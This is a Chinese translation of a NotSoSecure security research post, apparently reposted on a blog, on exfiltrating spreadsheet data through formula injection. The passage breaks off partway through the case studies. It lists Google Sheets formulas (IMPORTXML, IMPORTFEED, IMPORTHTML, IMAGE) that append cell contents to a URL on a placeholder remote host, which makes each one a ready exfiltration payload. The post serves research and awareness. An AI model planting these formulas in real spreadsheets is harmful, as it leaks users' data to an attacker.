通过公式注入从电子表格中泄露数据

译文声明

本文是翻译文章,文章原作者,文章来源:https://www.notsosecure.com/
原文地址:https://www.notsosecure.com/data-exfiltration-formula-injection/


译文仅供参考,具体内容表达以及含义原文为准

写在前面的话

由于最近有趣的客户端测试,我们越来越有兴趣查找和记录使用band(OOB)方法从电子表格提取数据的方式。我们在本文中描述的方法假设我们对电子表格的内容有一定的控制(虽然有限),但是我们仍然不能访问整个文档或客户端(目标)系统。
我们粗略了解了LibreOffice和Google Sheets,并为每个PoC提供了几个PoC。我们特别关注非基于Windows的应用程序,因为这方面已经做了很多工作,我们不想重复他们工作。
在这篇博客文章中,我们概述了来自NotSoSecure团队的Ajay(@ 9r4shar4j4y)和Balaji(@ iambalaji7)所进行的研究。以下PoC可能允许我们使用相对简单的内置功能来泄露潜在的敏感信息,甚至可以在各个客户端系统上读取文件内容。希望本文可能会提醒您应该注意的一些潜在的攻击途径。
让我们开始吧!!

Google表格OOB数据泄露

如果我们希望获取实时数据,基于云的数据捕获可能是我们最好的选择。这是因为与基于客户端的攻击不同,我们可以快速连续地在表单中填充数据并接收接近实时的响应。
攻击情景可能会有很大不同,具体取决于您可以使用的内容。如果您能够创建或上传CSV文件或类似文件到目标中,你可能有更大的优势来成功地利用某些东西。
首先,我们来介绍一些更有趣的功能。
CONCATENATE:将字符串互相追加。

= CONCATENATE(A2:E2)

IMPORTXML:从各种结构化数据类型(包括XML,HTML,CSV,TSV以及RSS和ATOM XML Feed)导入数据。

= IMPORTXML(CONCAT(“http:// [remote IP:Port] /123.txt?v=”,CONCATENATE(A2:E2)),“// a / a10”)

IMPORTFEED:导入RSS或ATOM。

= IMPORTFEED(CONCAT(“http:// [remote IP:Port] // 123.txt?v =”,CONCATENATE(A2:E2)))

IMPORTHTML:从HTML页面中的表或列表导入数据。

= IMPORTHTML(CONCAT(“http:// [remote IP:Port] /123.txt?v=”,CONCATENATE(A2:E2)),“table”,1)

IMPORTRANGE:从指定的电子表格导入一系列单元格。

=IMPORTRANGE(“https://docs.google.com/spreadsheets/d/[Sheet_Id]”,“sheet1!A2:E2”)

IMAGE:将图像插入单元格。

扫描二维码关注公众号,回复: 1705177 查看本文章
= IMAGE(“https:// [远程IP:端口] /images/srpr/logo3w.png”)

数据泄露

基于Google电子数据表功能的文档,上述功能可能成为带外数据泄露的成熟候选者。
情况1 [失败]:我是个老实人,因此在这里包括了一些失败的PoC。失败是这个游戏的一部分,应该被认为是很好的学习材料。如果不是失败,成功永远不会尝到如此甜蜜

猜你喜欢

转载自blog.csdn.net/qq_27446553/article/details/80594998